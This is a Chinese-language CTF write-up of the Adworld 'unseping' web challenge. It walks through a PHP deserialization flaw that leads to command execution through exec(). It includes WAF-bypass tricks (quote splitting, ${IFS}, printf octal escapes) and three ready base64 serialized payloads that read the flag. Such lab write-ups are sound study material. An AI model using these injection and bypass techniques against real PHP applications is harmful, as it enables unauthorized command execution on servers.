CTFer成长记录——CTF之Web专题·攻防世界—unseping

发布时间 2023-07-31 16:11:44作者: MiracleWolf

一、题目链接

  https://adworld.xctf.org.cn/challenges/list

二、解法步骤

  本题主要是代码审计和反序列化;

代码审计:首先我们需要知道整个题的基本执行顺序:post传参——>base64编码——>反序列化——>调用__wakeup()魔术方法——>执行waf()方法过滤——>调用析构方法()。

  其他的函数例如ping,call_user_func_array()函数需要一定的时机执行,这也意味着我们需控制参数ctf的值来调用他们。

  首先确定ctf参数一定是一个对象,我们把它定为$a,反序列化基本上都这样考;接着为对象中的两个成员变量赋值,那么就需要看下面的代码了:

 function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 

  我们关注这个析构代码,想要执行call这个函数就必须满足if条件:in_array(需要搜索的字符串,在哪个数组中搜)是一个搜索函数。题目在ping数组中搜索$a中的method的值,如果等于ping,就执行call函数,那么我们确定 method的值为ping;接着看call这个函数:它是一个回调函数,call_user_func_array(),其实有两种使用方法:

function a($b, $c)
{  
                echo $b; 
                echo $c; 
 } 
          call_user_func_array('a', array("111", "222"));
             //第一个参数为函数名称,第二个参数为数组;意思是调用a函数,其中a函数的参数为array("111","222")

   第二种使用方法:也是内部类的方法

Class ClassA 
{ 
         function bc($b, $c) 
      { 
                  $bc = $b + $c; 
                  echo $bc; 

       }
 } 
          call_user_func_array(array('ClassA','bc'), array("111", "222")); 
          //输出  333
          //这里可以看出当调用内部类的时候,第一个参数会被转换成数组类型,这个数组的第一个元素是当前的类名称,第二个元素的函数的名称;
          第二个参数是数组类型,其中的元素是传递给第一个参数中,数组中的函数名称的参数。比较绕口

   那么题目用到的就是第二种方法:call_user_func_array(array($this, $this->method), $this->args);先分析第一个参数:array($this,$this->method) 第一个$this是为了符合语法规范,第二个$this->method表示调用method这个函数,当method=ping,就是调用后面的ping函数,正好能够达成执行ping函数的要求。于是更加确定了method的值一定是ping;第二个参数语法要求一定是一个数组,但是它这里仅仅$this->args表示,那么args也一定是一个数组,具体的值是多少呢?call函数第二个参数是给传参用的,传给第一个参数所调用的函数,也就是ping函数:

function ping($ip){ //这里的ip就是args传过来的参数
        exec($ip, $result);//命令执行——>推出args数组一定含有ls ,cat 等字符串
                           //exec()函数执行第一个参数,并把结果放在第二个参数中
        var_dump($result);//输出第二个参数
        }

   因此我们确定args=array(命令),由于后面有waf函数检测关键词,我们需要对绕过下:比如ls,可以用''空字符绕过,那么args="l''s"

  于是$a(ctf参数表示的对象)= new ease("ping",array("l''s"));然后对其序列化+base64编码看看情况:

$a = new ease("ping",array("l''s"));
$b=serialize($a);
$b=base64_encode($b);
var_dump($b);

  第一次payload:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJydzIjt9fQ==

  这个数组里面保存了ls命令执行的结果,可以看到里面有两个文件:flag_1s_here和index.php。那么接下来需要访问到flag_1s_here。flag_1s_here没有后缀,那么它很可能是一个文件夹,还需要ls一遍,同样是对args参数进行操作。

  args=array('l""s${IFS}f""lag_1s_here');这里注意细节:array里面的的引号是单引号;单引号会把里面的内容完全当成字符串,而双引号会进行解析,如果用双引号会导致${IFS}报错。payload:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==

  最后得读取这串flag:cat flag_1s_here/flag_831b69012c67b35f.php,一样进行绕过:flag->f""lag;空格->${IFS};/->printf及$()->$(printf${IFS}"\57");cat->c""at;php->p""hp

  最后args=c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp。

  payload:  Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319

  

三、总结

  本题对我来说还是复杂了点(。折腾了一个多小时才弄懂,不过能学到很多的知识。

  参考资料:https://www.cnblogs.com/niyani/p/16961716.html